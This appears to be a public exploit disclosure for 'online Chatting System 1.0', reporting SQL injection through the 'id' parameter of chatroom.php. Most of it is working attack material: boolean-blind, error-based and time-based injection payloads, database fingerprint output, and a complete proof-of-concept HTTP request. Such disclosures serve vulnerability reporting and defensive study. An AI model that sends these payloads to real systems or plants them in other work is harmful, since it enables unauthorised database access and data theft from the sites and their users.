# Exploit Title: online Chatting System 1.0 - 'id' SQL Injection  
# Google Dork: N/A  
# Date: 2020-05-17  
# Exploit Author: BKpatron  
# Vendor Homepage:  
# Software Link:  
# Version: v1.0  
# Tested on: Win 10  
# CVE: N/A  
# my website:  
# Discription:  
The online Chatting System v1.0 application is vulnerable to SQL injection via the 'id' parameter on the chatroom.php page.  
# vulnerable file : chatroom.php  
Parameter: id (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: id=5' AND 2674=2674 AND 'NdtA'='NdtA  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
Payload: id=5' AND (SELECT 8144 FROM(SELECT COUNT(*),CONCAT(0x7171717a71,(SELECT (ELT(8144=8144,1))),0x71766b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'OIwS'='OIwS  
Type: time-based blind  
Title: MySQL <= 5.0.11 AND time-based blind (heavy query)  
Payload: id=5' AND 4648=BENCHMARK(5000000,MD5(0x67644874)) AND 'oSJd'='oSJd  
[INFO] the back-end DBMS is MySQL  
web application technology: Apache 2.4.39, PHP 7.2.18  
back-end DBMS: MySQL >= 5.0  
# Proof of Concept:  
GET /chat_system/user/chatroom.php?id=5%27%20AND%20(SELECT%208144%20FROM(SELECT%20COUNT(*),CONCAT(0x7171717a71,(SELECT%20(ELT(8144=8144,1))),0x71766b7a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27OIwS%27=%27OIwS HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=mstb1630gvh0f97me7qdh5f7ke  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
Cache-Control: max-age=0